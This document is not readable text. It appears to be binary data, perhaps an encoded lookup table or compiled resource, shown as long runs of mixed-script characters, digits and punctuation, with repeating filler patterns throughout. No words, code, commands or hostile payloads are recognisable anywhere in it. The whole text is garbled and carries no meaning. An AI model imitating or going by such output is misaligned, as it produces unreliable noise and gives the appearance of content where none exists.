ȂȂȂȐ ȂȐ"#$%&6'()*+,-./0312Ba45:6D6D789:Ba:6D<=c>5?5@5A[B5C5D5E5F5G5HVIOJȐKMLǬ/:NȐǬȐPSQȞȐRȐT5U57ȂW5X5Y5ȂZȂ5\5]`^_/:ǬȐabȞ7Ȃd5e5f۹g۪h5i5j5k5l5mیn|oxpuqtrs>>/7v-wNy57z{575}ۃ~ہ5ۀ5 7mۂ)ۄۈۅۆ>ۇ6565ۉۊ8ۋXۍۜێۗۏےېۑ5>-78ۓە۔9l8Xۖ-M|ɚۘۙۛɚۚɚ78"۝۠X۞X۟X9ۡۦۣۢۤ]]]ۥ]O1ۧ5ۨ۩O17Ɋ5۫۲۬ۯۭۮ>/۰۱7-N۳۶۴۵75 7m۷۸)>ۺۻۼۿ۽۾658X>-78X9lM|-ɚ758"X9]O17ɊܗO"܁bSO"O"O"O"2>>YY/>k77jN77577550F0F5 0F7m7mɊɩ)ɩU>65>v   658 8 XO"O">->-NNA"';AMX7XO889{9l9{X) &!$"#M|OP-%N-N'ɚ(ɚNɚ*.ɚ+,-{{7/X0178"8"X3O"4H5<X67:89Xi;O"=D>A?@O"99j`BCO"E]FGO_O_]IO"JPKMLш]шNOшO1O1iQO"RO"YO"T[UXVW>YYZ/>k7\_]^jN7`a75 0Fcrdkehfg7mɊ)ijɩU>vlomn658pqX>-NA"sztwuv';AMXOxy789{X{~|}9lM|OP܀-Nɚ܂O"܃ܒ܄܋܅܈܆܇{78"X܉܊iO"܌܏܍܎9j`ܐܑO_]ܓO"ܔO"ܕܖшO1iYܘO"ܙO"ܚO"ܛܱܜO"ܝO"ܞO"ܟO"ܠO"ܡO"ܢO"ܣܪܤܧܥǞܦǞO"ǞǞܨǞܩǞO"ܫO"ܬܯܭܮ/O"<)O"ܰO"YO"ܲO"ܴܳܶܵǞ/<)YܷO"/O"ܹܻܼܾܺܽܿ77YNcXp>Y7MYȬb/>kk{/le7-j/BarkK /YN;LZ   u:  7]Ybl775 0Fkk6%Oo:O7m:+$! Ɋ)"#ɩ9H%(&'IXU)*çA>,3-0./jgv12xjk475665:_689joY;J<C=@>?:8ABǬTv%DGEFǞXHI81Ⱥ>=KRLOMN>-ȐNA"PQ>\YSVTUȂ';k[WXAM4XYZݙ[z\k]d^a_`O<)bc789{XehfgO9lMijk5|lsmpno@ݳݶݴݵEݷݸ;O_jݺݻݼݿݽݾ]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^sUNcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:    7]Yb l775 0Fkk6%Oo:O7m6' Ɋ)ɩ9H!$"#IXU%&çA>(/),*+jgv-.xjk031265:_645joY7F8?9<:;:8=>ǬTv%@CABǞXDE81Ⱥ>=GNHKIJ>-ȐNA"LM>\YORPQȂ';k[STAM4XYVޕWvXgY`Z][\O<)^_789{XadbcO9lMefk5|hoiljk@ޯ޲ްޱE޳޴;O_j޶޷޾޸޻޹޺]><;q޼޽cш%8@޿AO1ik:ok;6Tɸ;<8YD^sPNcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u: 7]Yb l77   5 0Fkk6%Oo:O7m1"Ɋ)ɩ9HIXU !çA>#*$'%&jgv()xjk+.,-65:_6/0joY2A3:4756:889ǬTv%;><=ǞX?@81Ⱥ>=BICFDE>-ȐNA"GH>\YJMKLȂ';k[NOAM4XYQߐRqSbT[UXVWO<)YZ789{X\_]^O9lM`ak5|cjdgef@ߪ߭߫߬E߮߯;O_j߲߱߹߳߶ߴߵ]><;q߷߸cш%8@ߺ߽߻߼AO1i߾߿k:ok;6Tɸ;<8YD^sMNcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:7]Ybl77   5 0Fkk  6%Oo:O7m.Ɋ)ɩ9HIXUçA> '!$"#jgv%&xjk(+)*65:_6,-joY/>071423:856ǬTv%8;9:ǞX<=81Ⱥ>=?F@CAB>-ȐNA"DE>\YGJHIȂ';k[KLAM4XYNOnP_QXRUSTO<)VW789{XY\Z[O9lM]^k5|`gadbc@E;O_j]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^sH NcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:7]Ybl775 0Fkk6%Oo:O7m )   Ɋ)ɩ9HIXUçA>"jgv !xjk#&$%65:_6'(joY*9+2,/-.:801ǬTv%3645ǞX7881Ⱥ>=:A;><=>-ȐNA"?@>\YBECDȂ';k[FGAM4XYIJiKZLSMPNOO<)QR789{XTWUVO9lMXYk5|[b\_]^@E;O_j]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^sDNcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:7]Ybl775 0Fkk6%Oo:O7m%    Ɋ) ɩ9HIXUçA>jgvxjk" !65:_6#$joY&5'.(+)*:8,-ǬTv%/201ǞX3481Ⱥ>=6=7:89>-ȐNA";<>\Y>A?@Ȃ';k[BCAM4XYEFeGVHOILJKO<)MN789{XPSQRO9lMTUk5|W^X[YZ@E;O_j]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^s?NcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:7]Ybl775 0Fkk6%Oo:O7m  Ɋ) ɩ9H   IXUçA>jgvxjk65:_6joY!0")#&$%:8'(ǬTv%*-+,ǞX./81Ⱥ>=182534>-ȐNA"67>\Y9<:;Ȃ';k[=>AM4XY@A`BQCJDGEFO<)HI789{XKNLMO9lMOPk5|RYSVTU@E;O_j]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^s=NcXp>Y7MYȬb/>kk{/le7-j/BarkK/YN;LZ u:7]Ybl775 0Fkk6%Oo:O7mɊ)ɩ9H    IXU çA>jgvxjk65:_6joY. '!$"#:8%&ǬTv%(+)*ǞX,-81Ⱥ>=/60312>-ȐNA"45>\Y7:89Ȃ';k[;<AM4XY>}?^@OAHBECDO<)FG789{XILJKO9lMMNk5|PWQTRS@E;O_j]><;qcш%8@AO1ik:ok;6Tɸ;<8YD^sa1 lȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrr ǞT0Fç` ǞǞ   6D57rn7ȞȺȂȺ!"#$*%(&'cç)7+.,-Ȭ/0Ȑ55234567j8P9B:?;=<l>Ȭ@A-CIDFEȬGHȐrȬJMKLȬȐNOQ]RWSUTcǞVnX[YZDr\ç^d_a`MbcDȐnehfgȺɩrirk~lvmsnqopǞTr0Ftuç`wzxy{|}ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55 lȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`ǞǞ6D57rn7ȞȺȂȺ    cç7ȬȐ55} S!9"+#($&%l'Ȭ)*-,2-/.Ȭ01ȐrȬ3645ȬȐ78:F;@<>=cǞ?nADBCDrEçGMHJIMKLDȐnNQOPȺɩrRrTgU_V\WZXYǞT[0F]^ç``cabdefǞǞhriljk6Dmpnoq5sztwuv7rnxy7Ȟ{|ȺȂȺ~cç7ȬȐ55xlȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55 g = #  lȬ-ȬȐrȬ ȬȐ!"$0%*&('cǞ)n+.,-Dr/ç17243M56DȐn8;9:Ⱥɩr<r>Q?I@FADBCǞTE0FGHç`JMKLNOPǞǞR\SVTU6DWZXY[5]d^a_`7rnbc7ȞefȺȂȺhijkqlomncçp7rustȬvwȐ55yz{|}~lȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55P& lȬ-ȬȐrȬ ȬȐ   cǞnDrç MDȐn!$"#Ⱥɩr%r':(2)/*-+,ǞT.0F01ç`3645789ǞǞ;E<?=>6D@CABD5FMGJHI7rnKL7ȞNOȺȂȺQRSTZUXVWcçY7[^\]Ȭ_`Ȑ55b5cLdefghijklumrnpolqȬst-v|wyxȬz{ȐrȬ}~ȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55;lȬ-ȬȐrȬȬȐcǞnDrç M  DȐn  Ⱥɩrr%ǞT0Fç`! "#$ǞǞ&0'*()6D+.,-/51825347rn677Ȟ9:ȺȂȺ<=>?E@CABcçD7FIGHȬJKȐ55MNOPQRSTlU^V[WYXlZȬ\]-_e`baȬcdȐrȬfighȬȐjkmynsoqpcǞrntwuvDrxçz{}|M~DȐnȺɩrrǞT0Fç`ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55$lȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`     ǞǞ6D5!7rn 7Ȟ"#ȺȂȺ%&'(.),*+cç-7/201Ȭ34Ȑ556789:;<=p>V?H@EACBlDȬFG-IOJLKȬMNȐrȬPSQRȬȐTUWcX]Y[ZcǞ\n^a_`DrbçdjegfMhiDȐnknlmȺɩrorqr|sytwuvǞTx0Fz{ç`}~ǞǞ6D57rn7ȞȺȂȺcç7ȬȐ55lȬ-ȬȐrȬȬȐcǞnDrçMDȐnȺɩrrǞT0Fç`ǞǞ6D5  7rn  7Ȟ ȺȂȺcç7ȬȐ55!$"#%&<(/),*+-.0312475689;<=_>P?I@CABDEFGHJMKLNO7QXRUSTVWY\Z[]^`xabcdef*g*hijxk*l*m*n*o*p*q**r*st**uv*w*>*y**z*{|*}**~********)********************************>**>*sD***Nb**************pi*7ddddddddddddd *ddddddddddddddd'dddddddddd'd dddddddddddd d d d'd dddddddddddddd'dddd dd!"dd#d$%d&dd'd()dd'+,g-J.<d/d01d2d3dd4d5d6d78d9dd:d;'d=d>d?dd@dAdBCdDddEdFGddHIdd'KYdLMddNdOPddQdRSdTddUVddWdXd'dZd[d\d]d^_d`dadbdcdddeddf'dhwdidjdkdlmdndoddpdqdrdsdtduvd'dxdydz{d|dd}~dddddddd'ddddddddddddd'dddddddddddddd'dddddddddddddddd'ddddddddddddddd'dddddddddddddddddd'dddddddddddddddd'ddddddddddddddddddd'dddddddddddddddd dd d' V C1 ddddddddddddddddd'd!d"d#$d%d&dd'd()dd*d+,d-d.d/dd0d'd23d4d5dd6d7d89dd:;dd<=dd>d?d@AdBd'dDdEdFddGdHIdJdKddLdMNddOdPdQRdSddTdUd'WdXdYdZdd[\j]d^dd_`daddbcddddefddgdhdi'dkddlmdnddopddqrdsdtduddvwdd'yz}{|~37+9d<FgJ97`J     ٟٟ-" !4|#$%&'()*+,4|./012@34:5ٟ6789#;<=>?4|AGBECD4|^)F4|HI4|KLMNWOPQRSTUV4|XYZ[\]^_janbcdefghijklm#o{pqrstuvwxyz^|}~7799999997ʯ;T7J7d7    7 / 7J!("%#$d&'),*+-.0E1>25346;789:<=?B@ACDdFMGJHI1KLNQOPRSUVuWfX_Y\Z[J]^7`cabdegnhkij;lm7orpqstvw~x{yz|}Nggd<Jg93dgggggggggggggggggg.g;+dO0 J    7) !"#$%&'(Sj*-+,./1@29364578:=;<<>?dAHBECD7FG7ILJK7MNPoQ`RYSVTULWXZ][\<^_ahbecdfg<iljkеmn;pqxrustvw9y|z{}~dddddddddddddddddRddddddddddʯʠʯ<J/ʠd<<     ;<& #!"J$%'*()++,7./0T123Y4C5<6978;:;=@>?ABDKEHFG<IJdLVMTNQOPRSNUJWXNZi[b\_]^`acfdeghzjknlm1opqrstuvwxyz{|}~(ZՒJd77˭17еçd-çç53Mdg   е  <. '!$"#%&(+)*7,-N/E07142356d8?9=:;<d>@ABCDFMGJHIKLNQOPdRS<UVWvXgY`Z][\<^_dadbcefJhoiljkʯmnpsqrJtuJwxy|z{}~;77d7b7/g79< 7<Q<d   7  $e&d #!"7$%˭'.(+)*,-z/2013456789:;<=>?@ABCLDHEFGoIJKMQNOP)RSTUVWXYZ[\]^_`abcdfugnhkijlm7orpqstJv}wzxy{|*~JddʯdddddddddddddddddRddd77d<9L9I<d     9F;-]> /!("%#$g&'d),*+g-.071423;568;9:<<=?N@GADBC;EF9HKIJQLMOVPSQR7TUWZXYd[\d^}_n`gadbcefhkijlmovpsqrʯtuJwzxy7{|~*<3Jd@# 7+< zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLW99wN9******^^*  J  77# d!"$'%&7()+j,K-<.5/201346978<:;=D>A?@dBCEHFG9IJL[MTNQOP7RS;UXVWYZ\c]`^_abdgefhi7klmnqopʠrstu;v;w;x;y;z;{;|;}~;;;;;;;;;;;;'';;;;;;;;;;;;;'; ;zJ9dʠ9+n) 97J    g"< !#&$%7'(ʠ*I+:,3-0./͹129475689;B<?=>@A7CFDEdGHJ_KXLUMNOPRQRdSTR%RVWY\Z[7]^`gadbc7efʠhkijdlmopqrysvtudwxՒz{|}~777dddJ$J9/77Q1d; ʯ    7˭"d !#*$'%&()+.,-Ւ/02Q3B4;58679:7<?=>@A7CJDGEFJHIKNLMQOPzRaSZTWUV7XYz[^\]_`bcfde<ghijklmnopqrstuvwxyz{|}~0 7d777dd7gJ7ç777777 7 7 7 7 777777777$! "#/%(&')*,-).m/N0?18253476739<:;=>@GADBCEF7HKIJ<LMdO^PWQTRSgUVX[YZ\]<_f`cab9degjhiklgn opwqtrsduvx{yz|}~ç50F77ɚ0FTȐȬǞȺDcrȐDǞȐǞç5ȂrTç-0F5ɚ77cȺDȐȬ`ǞT5d    "9 !#&$%7'(ʠ*i+J,;-4.1/02375867+9:<C=@>?ABDGEFHI7KZLSMPNOԦQRTWUV˭XY[b\_]^/`aFcfdegh7jkl{mxnuorpq7stvwyz7|}~779d7Z9QԦʠ9d/;*     8777777777)7"777 7!7ئ7#7$77%&7'7(7ئ7*7+1,7-77./707ئ7273774576777ئ79:7<K=D>A?@BC7EHFGIJLSMPNO/QRdTWUV7XYd[\{]l^e_b`a+cddfighjkmtnqoprsʠuxvwyz|}~zzzzzzzzzzzzzzzzzzzʠ;7dN77zg7<)&77777777777777777z7777777777777777  7 7 77 777777zzzzzzz7777 #!"؉77$%]'(*-+,Ԧ./1:23K45>6z7V8G9@:=;<J>?ADBC9EFgHOILJKMNPSQR<TU7WkX_Y\Z[J]^d`cab7defʠgʠhʠiʠjʠMlsmpno7qr<twuvxyJ{ |}~;ʯʠ #DL+6L^LLLLLLLLLLLLLL"0LLLL"0L-----------------JH-Vn1111111111111111VQVVVVVVVVVVVVVVVVdHVnJ9+:   1 V1%0̊v,E<!0")#&$%'(*-+,d./182534N67d9<:;=?@`AQBJCFDEGHIlKNLMOP<RYSVTUWX7Z][\*^_asblcidefghjkmpnoqrt{uxvw;yzd|}~˭<d9<77ɚxi7fddddddddddddddddddddddEd7dddddddddddddddddd#d d   d dddd(/dddBEdddddd!d d"ddd$d%d&d'd(d)d*+P,A-<.d/50312<R4RT6978R(/E:;Nd.d=d>?dd@dGBKCGdDEddFHdIddJdLdMddNOdSdQ[dRSWTddUVddXdYdZd%\ad]^dd_`ddbdcddddedghjqknlmoprustdvw7yz{|}~ʠʠ9<;d9ddddddddddd/9d˭d *gd   , ʠ7%! 7"#$ʠ&)'(*+z-<.5/2019346978d:;=D>A?@7BCJEHFGԦIJLMNOnP_QXRUSTVW<Y\Z[7]^`gadbcʠef*hkijlmo~pwqtrsuvx{yz|}dJ͹dzzJJGGJ77777777777777777777777777777777777:799ʯ6zJ     d' 7!$"#%&<(/),*+7-.03124577~8K9D:A;><=ʠ?@ʠBCEHFG˭IJdLwMtNOPQrRdSTcUdVdWdXdYdZd[d\d]d^d_d`dadbdRdddeddfgdhdidjdkdldmdndodpdqdddsduv9x{yz|}*;8N77dQ;b;b;b;b;b;b;b;b;b;bCm;b;b;b;b;b;b;b;b;b;bb;bb;b$  77    z7D)"d !#&$%'(*1+.,-/0253467ʠ9:^;J<C=@>?ABgDGEFHI;KWLOMN<PQTRS7UVgX[YZd\]<_q`jadbcefghiknlmop3rysvtuwxz}{|d~gJ9<dB8p7_66`6>7767;^O**ա^-^<5 ա7  ^L   (^-^-^-+P^\^k^z^zՃ -!'"%#$^^^&^<(*^<)^<m+,m^@./201*^^*34*Í^6]7W8L9C:@;=*<*>?**A*B**DIEG*F*H*J*K**ՓMQN*O*P**$R*SU*T*+PV****X*YZ**[\****_:`ab-cde|fighJ**@j{k*lmnopqrstuvwxyzJO}~^\%*@J^^qq^^**JJ@@**^\^\**** OO  %  %mm& !"#?$%?'()*+,./01234567|U89|UJ*<=>$?@ ABC~DEFeGVHOIL^JK^^MN^PS^QR^^TU^W^X[^YZ^^\]^_b^`a^^cd^fugnhk^ij^^lm^or^pq^^st^v}wz^xy^^{|^~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^+^^^^^^^^^^^^^^^^ ^^^^^^ ^ ^^ ^ ^^^^^^^^$"^ !^^#^%)&^'(^^*^,K-<.5/2^01^^34^69^78^^:;^=D>A^?@^^BC^EH^FG^^IJ^L_MTNQ^OP^^RS^UX^VW^Y]Z^[\^^^^`oahbfc^de^^g^imj^kl^^n^pwqur^st^^v^x|y^z{^^}^&^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^qqqqqqqqqqqqqqqqqqqqqqqqqq   q  qqqqqqqqqqq $!q"#qq%q'z(G)8*1+.q,-qq/0q25q34qq67q9@:=q;<qq>?qADqBCqqEFqH[IPJMqKLqqNOqQTqRSqUYVqWXqqZq\k]d^b_q`aqqcqeifqghqqjqlsmqnqopqqrqtxuqvwqqyq{|}~qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqv#qqqqqqqqqqqqqqqqqqqqqqqqqq  q  qq qqqqqqqqq!q qq"q$C%4&-'*q()qq+,q.1q/0qq23q5<69q78qq:;q=@q>?qqABqDWELFIqGHqqJKqMPqNOqQURqSTqqVqXgY`Z^[q\]qq_qaebqcdqqfqhoimjqklqqnqptqqrsqquqwxyz{~^|}^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  ^  ^^ ^^^^^^^^^r ?!0")#&^$%^^'(^*-^+,^^./^1825^34^^67^9<^:;^^=>^@SAHBE^CD^^FG^IL^JK^MQN^OP^^R^TcU\VZW^XY^^[^]a^^_`^^b^dkeif^gh^^j^lpm^no^^q^stu|vy^wx^^z{^}^~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^ ^   ^^^^^^^^ jp=. '!$"#%&(+)*,-/60312457:89;<>Q?F@CABDEGJHIKOLMNPRaSZTXUVWY[_\]^`bicgdefhjnklmoqrsztwuvxy{~|}     7(! "%#$&')0*-+,./1423568K9@:=;<>?ADBCEIFGHJL[MTNROPQSUYVWXZ\c]a^_`bdhefgik lmn}ovpsqrtuwzxy{|~************************** **** * ** *     *  ** *   *  ** *  f  3  $    *  **  *  !*  ** " #* % , & )* ' (** * +* - 0* . /** 1 2* 4 G 5 < 6 9* 7 8** : ;* = @* > ?* A E B* C D** F* H W I P J N K* L M** O* Q U R* S T** V* X _ Y ] Z* [ \** ^* ` d a* b c** e* g  h w i p j m* k l** n o* q t* r s** u v* x  y |* z {** } ~*  *  **  *      *  **  *  *  *   *  ** *       *  ** *   *  ** *     *  ** *   *  ** *    b          *  **  *  *  **  *    *  **  *  *  **  *      *  **  *  *  *   *  ** *       *  ** *   *  ** *     *  ** *   *  ** *  /      *  **  *  *  **  * ! ( " %* # $** & '* ) ,* * +** - .* 0 C 1 8 2 5* 3 4** 6 7* 9 <* : ;* = A >* ? @** B* D S E L F J G* H I** K* M Q N* O P** R* T [ U Y V* W X** Z* \ ` ]* ^ _** a* c  d  e t f m g jJ h iJJ k lJ n qJ o pJJ r sJ u | v yJ w xJJ z {J } J ~ JJ  J      J  JJ  J  J  J   J  JJ J       J  JJ J   J  JJ J     J  JJ J   J  JJ J        J  JJ  J  J  JJ  J    J  JJ  J  J  JJ  J      J  JJ  J  J  J   J  JJ J       J  JJ J   J  JJ J     J  JJ J   J  JJ J    ^  +      J  JJ  J  J  JJ  J  $  !J  JJ " #J % (J & 'JJ ) *J , ? - 4 . 1J / 0JJ 2 3J 5 8J 6 7J 9 = :J ; <JJ >J @ O A H B F CJ D EJJ GJ I M JJ K LJJ NJ P W Q U RJ S TJJ VJ X \ YJ Z [JJ ]J _ ~ ` o a h b eJ c dJJ f gJ i lJ j kJJ m nJ p w q tJ r sJJ u vJ x {J y zJJ | }J      J  JJ  J  J  J   J  JJ J       J  JJ J   J  JJ J     J  JJ J   J  JJ J         J  JJ  J  J  JJ  J    J  JJ  J  J  JJ  J      J  JJ  J  J  J   J  JJ J       J  JJ J   J  JJ J     J  JJ J   J  JJ J .   W    ]  *      @  @@  @  @  @@  @  #  @  @@ ! "@ $ '@ % &@@ ( )@ + > , 3 - 0@ . /@@ 1 2@ 4 7@ 5 6@ 8 < 9@ : ;@@ =@ ? N @ G A E B@ C D@@ F@ H L I@ J K@@ M@ O V P T Q@ R S@@ U@ W [ X@ Y Z@@ \@ ^ } _ n ` g a d@ b c@@ e f@ h k@ i j@@ l m@ o v p s@ q r@@ t u@ w z@ x y@@ { |@ ~     @  @@  @  @  @   @  @@ @       @  @@ @   @  @@ @     @  @@ @   @  @@ @          @  @@  @  @  @@  @    @  @@  @  @  @@  @      @  @@  @  @  @   @  @@ @       @  @@ @   @  @@ @     @  @@ @   @  @@ @  $      @  @@  @  @  @@  @    @  @@  @  !@  @@ " #@ % 8 & - ' *@ ( )@@ + ,@ . 1@ / 0@ 2 6 3@ 4 5@@ 7@ 9 H : A ; ? <@ = >@@ @@ B F C@ D E@@ G@ I P J N K@ L M@@ O@ Q U R@ S T@@ V@ X  Y  Z y [ j \ c ] `@ ^ _@@ a b@ d g@ e f@@ h i@ k r l o@ m n@@ p q@ s v@ t u@@ w x@ z  {  | @ } ~@@  @  @  @   @  @@ @       @  @@ @   @  @@ @     @  @@ @   @  @@ @        *  **  *  *  **  *    *  **  *  *  **  *      *  **  *  *  *   *  ** *       *  ** *   *  ** *     *  ** *   *  ** *S  *** * *  ***********!4")#&*$%**'(**-*+,*.2/*01**3*5D6=7;8*9:**<*>B?*@A**C*ELFJG*HI**K*MQN*OP**R*TsUdV]WZ*XY**[\*^a*_`**bc*elfi*gh**jk*mp*no**qr*tu|vy*wx**z{*}*~*********************O****************************************** **** * **  *********0%"* !**#$*&)*'(**.+*,-**/*1@29374*56**8*:>;*<=**?*AHBFC*DE**G*IMJ*KL**N*PQpRaSZTWUVXY[^\]_`bicfdeghjmklnoqrysvtuwxz}{|~i.     %! "#$&*'()+,-/F0915234678:>;<=?C@ABDEGXHPIMJKLNOQURSTVWYaZ^[\]_`bfcdeghjk}ltmpnoqrsuyvwxz{|~     &# !"$%'+()*,-/0123R4C5<69^\78^\^\:;^\=@^\>?^\^\AB^\DKEH^\FG^\^\IJ^\LO^\MN^\^\PQ^\SfT[UX^\VW^\^\YZ^\\_^\]^^\`da^\bc^\^\e^\gvhoimj^\kl^\^\n^\ptq^\rs^\^\u^\w~x|y^\z{^\^\}^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\,^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\ ^\^\^\^\^\^\ ^\  ^\^\ ^\^\^\^\^\^\^\^\^\%# ^\!"^\^\$^\&*'^\()^\^\+^\-L.=/603^\12^\^\45^\7:^\89^\^\;<^\>E?B^\@A^\^\CD^\FI^\GH^\^\JK^\M`NUOR^\PQ^\^\ST^\VY^\WX^\Z^[^\\]^\^\_^\apbicgd^\ef^\^\h^\jnk^\lm^\^\o^\qxrvs^\tu^\^\w^\y}z^\{|^\^\~^\'^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\      !%"#$&({)H*9+2,/-.01364578:A;><=?@BECDFGI\JQKNLMOPRUSTVZWXY[]l^e_c`abdfjghikmtnropqsuyvwxz|}~w$     " !#%D&5'.(+)*,-/201346=7:89;<>A?@BCEXFMGJHIKLNQOPRVSTUWYhZa[_\]^`bfcdegipjnklmoqurstvxyz{|}~      s!@"1#*$'%&()+.,-/029364578:=;<>?ATBICFDEGHJMKLNROPQSUdV]W[XYZ\^b_`acelfjghikmqnoprtuv}wzxy{|~     m s!@"1#*$'*%&**()*+.*,-**/0*2936*45**78*:=*;<**>?*ATBICF*DE**GH*JM*KL*NRO*PQ**S*UdV]W[X*YZ**\*^b_*`a**c*elfjg*hi**k*mqn*op**r*tuv}wz*xy**{|*~**************************************************************** **** *** *  ********:+$!* **"#*%(*&'**)**,3-0*./**12*47*56**89*;N<C=@*>?**AB*DG*EF*HLI*JK**M*O^PWQUR*ST**V*X\Y*Z[**]*_f`da*bc**e*gkh*ij**l*nopqrysv*tu**wx*z}*{|**~*********************************************************************  *  ** *****i6' ****!$*"#**%&*(/),**+**-.*03*12**45*7J8?9<*:;**=>*@C*AB*DHE*FG**I*KZLSMQN*OP**R*TXU*VW**Y*[b\`]*^_**a*cgd*ef**h*jkzlsmp*no**qr*tw*uv**xy*{|*}~********************************* e**********************************  *** *  ****2#**** ***!"*$+%(*&'**)**,/*-.**01*3F4;58*67**9:*<?*=>*@DA*BC**E*GVHOIMJ*KL**N*PTQ*RS**U*W^X\Y*Z[**]*_c`*ab**d*fghwipjmOklOOnoOqtOrsOOuvOxy|Oz{OO}~OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO O OO O a.OOOOOOOO '!$O"#OO%&O(+O)*OO,-O/B0714O23OO56O8;O9:O<@=O>?OOAOCRDKEIFOGHOOJOLPMONOOOQOSZTXUOVWOOYO[_\O]^OO`ObcrdkehOfgOOijOloOmnOOpqOsztwOuvOOxyO{~O|}OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO  Y  _ ,%%%%%%%%%"% !%%#$%&)%'(%%*+%-@.5/2%01%%34%69%78%:>;%<=%%?%APBICGD%EF%%H%JNK%LM%%O%QXRVS%TU%%W%Y]Z%[\%%^%`apbicf%de%%gh%jm%kl%%no%qxru%st%%vw%y|%z{%%}~%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&   %  %%%%%%%%%%% #%!"%%$%%':(/),%*+%%-.%03%12%485%67%%9%;J<C=A>%?@%%B%DHE%FG%%I%KRLPM%NO%%Q%SWT%UV%%X%Z[\{]l^e_b%`a%%cd%fi%gh%%jk%mtnq%op%%rs%ux%vw%%yz%|}~%%%%%%%%%%%%%%%%%%%%%%%%%%mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmU"  mmm  m mmmmmmmmmmm !m#6$+%(m&'mm)*m,/m-.m041m23mm5m7F8?9=:m;<mm>m@DAmBCmmEmGNHLImJKmmMmOSPmQRmmTmVuWfX_Y\mZ[mm]^m`cmabmmdemgnhkmijmmlmmormpqmmstmvw~x{myzmm|}mmmmmmmmmmmmmmmmmmmmmmmQmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm  m  mm mmmmmmmmm2 '!$m"#mm%&m(+m)*m,0-m./mm1m3B4;596m78mm:m<@=m>?mmAmCJDHEmFGmmImKOLmMNmmPmRSrTcU\VYWXZ[]`^_abdkehfgijlomnpqst{uxvwyz|}~M     .# !"$'%&(,)*+-/>071523468<9:;=?F@DABCEGKHIJLNmO^PWQTRSUVX[YZ\]_f`cabdegjhiklnovpsqrtuwzxy{|}~"!F  L    ???  ?  ?  ??  ?    ?  ??  ?  ?  ??  ?  -  "  ?  ??  !? # &? $ %? ' + (? ) *?? ,? . = / 6 0 4 1? 2 3?? 5? 7 ; 8? 9 :?? <? > E ? C @? A B?? D? F J G? H I?? K? M l N ] O V P S? Q R?? T U? W Z? X Y?? [ \? ^ e _ b? ` a?? c d? f i? g h?? j k? m  n u o r? p q?? s t? v y? w x? z ~ {? | }?? ?       ?  ?? ?   ?  ?? ?     ?  ?? ?   ?  ?? ?          ?  ??  ?  ?  ??  ?    ?  ??  ?  ?  ??  ?      ?  ??  ?  ?  ?   ?  ?? ?       ?  ?? ?   ?  ?? ?     ?  ?? ?   ?  ?? ? ! !    ?  ??  ? !? !??!!?!! !! ?!!??! ! ?! !?!!??!!?!!'!!!!?!!??!!?!! ?!!?!!!%!"?!#!$??!&?!(!7!)!0!*!.!+?!,!-??!/?!1!5!2?!3!4??!6?!8!?!9!=!:?!;!<??!>?!@!D!A?!B!C??!E?!G!!H!!I!h!J!Y!K!R!L!O?!M!N??!P!Q?!S!V?!T!U??!W!X?!Z!a![!^?!\!]??!_!`?!b!e?!c!d??!f!g?!i!|!j!q!k!n?!l!m??!o!p?!r!u?!s!t?!v!z!w?!x!y??!{?!}!!~!!!!?!!??!?!!!?!!??!?!!!!!?!!??!?!!!?!!??!?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"B!"!"!!!!!!!!!!!!!!""""""""" " " " " """#""""""""""""""!""" 